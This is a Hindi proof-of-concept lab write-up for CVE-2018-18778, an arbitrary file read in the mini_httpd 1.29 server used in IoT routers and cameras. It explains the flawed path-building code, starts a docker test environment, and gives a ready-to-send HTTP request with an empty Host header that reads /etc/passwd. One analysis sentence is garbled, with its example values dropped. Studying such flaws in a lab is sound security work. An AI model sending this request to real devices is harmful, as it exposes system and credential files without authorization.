
CVE-2018-18778 के लिए PoC शोषण: खाली Host हेडर के माध्यम से mini_httpd 1.29 में मनमानी फ़ाइल पढ़ना, जो Huawei, Zyxel, और अन्य के IoT उपकरणों को प्रभावित करता है।
Mini_httpd एक लघु HTTP सर्वर है जो सिस्टम संसाधनों का कम उपयोग करते हुए एक निश्चित स्तर का प्रदर्शन (लगभग Apache का 90%) बनाए रख सकता है, इसलिए इसका व्यापक रूप से विभिन्न IOT उपकरणों (राउटर, स्विच, कैमरा आदि) में एम्बेडेड सर्वर के रूप में उपयोग किया जाता है। Huawei, Zyxel, Hikvision, Raspberry Pi आदि निर्माताओं के उपकरणों ने mini_httpd घटक का उपयोग किया है।
mini_httpd में वर्चुअल होस्ट मोड सक्षम होने पर, उपयोगकर्ता का http://HOST/FILE अनुरोध वर्तमान निर्देशिका के अंतर्गत HOST/FILE फ़ाइल तक पहुँचेगा।
(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );
उपरोक्त कोड देखें, विश्लेषण इस प्रकार है:
example.com और FILE=index.html हो, तो उपरोक्त कथन का परिणाम example.com/index.html होता है, फ़ाइल सामान्य रूप से पढ़ी जाती है।etc/passwd हो, तो उपरोक्त कथन का परिणाम /etc/passwd होता है।बाद वाले को निरपेक्ष पथ के रूप में लिया जाता है, इस प्रकार /etc/passwd पढ़ा जाता है, जिससे मनमानी फ़ाइल पढ़ने की भेद्यता उत्पन्न होती है।
mini_httpd 1.29 प्रारंभ करने के लिए निम्नलिखित कमांड चलाएँ:
docker-compose up -d
वातावरण प्रारंभ होने के बाद, http://your-ip:8080 पर जाएँ और वेब पृष्ठ देखें।
अनुरोध भेजते समय Host को खाली रखें, PATH का मान फ़ाइल का निरपेक्ष पथ है:
GET /etc/passwd HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
फ़ाइल सफलतापूर्वक पढ़ी गई:
